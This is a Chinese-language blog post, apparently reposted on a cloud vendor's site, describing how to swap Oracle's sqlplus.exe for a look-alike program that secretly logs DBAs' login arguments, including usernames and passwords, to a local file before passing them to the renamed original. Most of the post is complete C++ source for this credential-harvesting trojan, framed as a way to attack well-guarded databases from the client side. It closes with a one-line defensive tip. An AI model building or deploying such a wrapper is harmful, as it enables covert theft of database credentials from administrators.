SQLPlus得到資料庫登入資訊

來源:互聯網
上載者:User

當DBA登入本地或遠端資料庫時,為了省事,用"sqlplus 使用者名稱/密碼@串連服務名" 的方式登入資料庫是再平常不過了,而我們如果將Oracle的SQLPlus換成我們自己的實現,然後當使用時,記錄下它的登入資訊,就得到了資料庫的使用者名稱,密碼等資訊。

這是一種很簡單的,偷龍轉鳳的方式,有其局限性。但有時,如果資料庫本身的防護很嚴,從DBA用戶端這邊下手,利用這種方式有時也能有意外的收穫。

:

這種方式跑起來和Oracle原來的是一模一樣的. 光看是看不來什麼地。

被記錄下的登入資訊:

代碼如下:

/**
*author: xiongchuanliang
*desc: 用自訂的sqlplus替換掉Oracle原版的,並在自訂的程式中記錄下使用者的登入資訊的示範
      1. 找到Oracle內建的sqlplus.exe,將其命名為其它檔案
    2. 用自訂的替換掉原版
*/
#include <stdio.h>
#include <stdlib.h>

#include <Windows.h>

#include <iostream>
#include <fstream>
using namespace std;

HRESULT CMDEx(const char *pCmd) ;

//將原版的sqlplus.exe改為sqlplus_ora.exe";
const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe";
const string oper_log = "C:/mysqlplus.log";

int main(int argc,char* argv[])

 string sqlplus_cmd = sqlplus_path;

 ofstream flog(oper_log,ios::app);
 SYSTEMTIME sys;
 if(flog){    
  GetLocalTime(&sys);
  flog<<sys.wYear<<"-"<<sys.wMonth<<"-"<<sys.wDay<<" "<<sys.wHour<<":"<<sys.wMinute<<":"<<sys.wSecond<<" ";
 }
 for(int i=1;i<argc;i++)
 {
  sqlplus_cmd.append(" ");
  sqlplus_cmd.append(argv[i]); 
  if(flog) flog<<" "<<argv[i];
 }
 if(flog){
  flog<<endl;
    flog.close();
 }
 cout<< "示範:%s\n"<<sqlplus_cmd.c_str()<<endl;
 CMDEx(sqlplus_cmd.c_str());
 return 0;
}

HRESULT CMDEx(const char *pCmd) //LPCTSTR pszCMD
{
 
#if defined(WIN32) || defined(WIN64)
 if(pCmd == NULL || pCmd[0] == 0)
 {
  return S_FALSE;
 }
 
 STARTUPINFOA  si;
 PROCESS_INFORMATION  pi;
 HANDLE  hRead, hWrite;
 SECURITY_ATTRIBUTES  sa = {0, NULL, TRUE};

 //建立匿名管道
 if(!CreatePipe(&hRead, &hWrite, &sa, 0))
 {
  return S_FALSE;
 }
 ZeroMemory( &pi, sizeof(pi) );
 ZeroMemory(&si, sizeof(STARTUPINFO));
 si.cb  = sizeof(STARTUPINFO);
 si.wShowWindow = SW_HIDE;  
 si.hStdOutput = hWrite;
 si.hStdError = hWrite;
 si.hStdInput = hRead; 
 si.dwFlags  = STARTF_USESHOWWINDOW;       

 char szCMD[1024] = {0};
 sprintf_s(szCMD,1024,"cmd.exe /C %.1000s",pCmd); 

 //建立進程執行命令
 if(CreateProcessA(NULL,szCMD , NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
 {
 
  //等待命令執行完成
  WaitForSingleObject(pi.hProcess, INFINITE);

  CloseHandle(hWrite);
  DWORD dwRet, dwReaded;
  char szBuf[256] = {0};

  //擷取進程執行傳回值
  GetExitCodeProcess(pi.hProcess, &dwRet); 

  //讀取控制台終端輸出
  while(ReadFile(hRead, szBuf, 255, &dwReaded, NULL))
  {
   szBuf[dwReaded] = 0; 
   //輸入命令內容到螢幕
   cout<< szBuf <<endl;
   memset(szBuf,0,256);
  }
  CloseHandle(hRead);
  return HRESULT_FROM_WIN32(dwRet);
 }
 else
 {
  CloseHandle(hWrite);
  CloseHandle(hRead);
  return(HRESULT_FROM_WIN32(GetLastError()));
 }
#else
 return 0;
#endif
}

這僅示範了下準系統,以此類推,其它資料庫的一些命令列程式也可以用這種方式做,對這種方式最好的防護方法是在輸入連接字串時不輸入明文的密碼。

相關文章

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.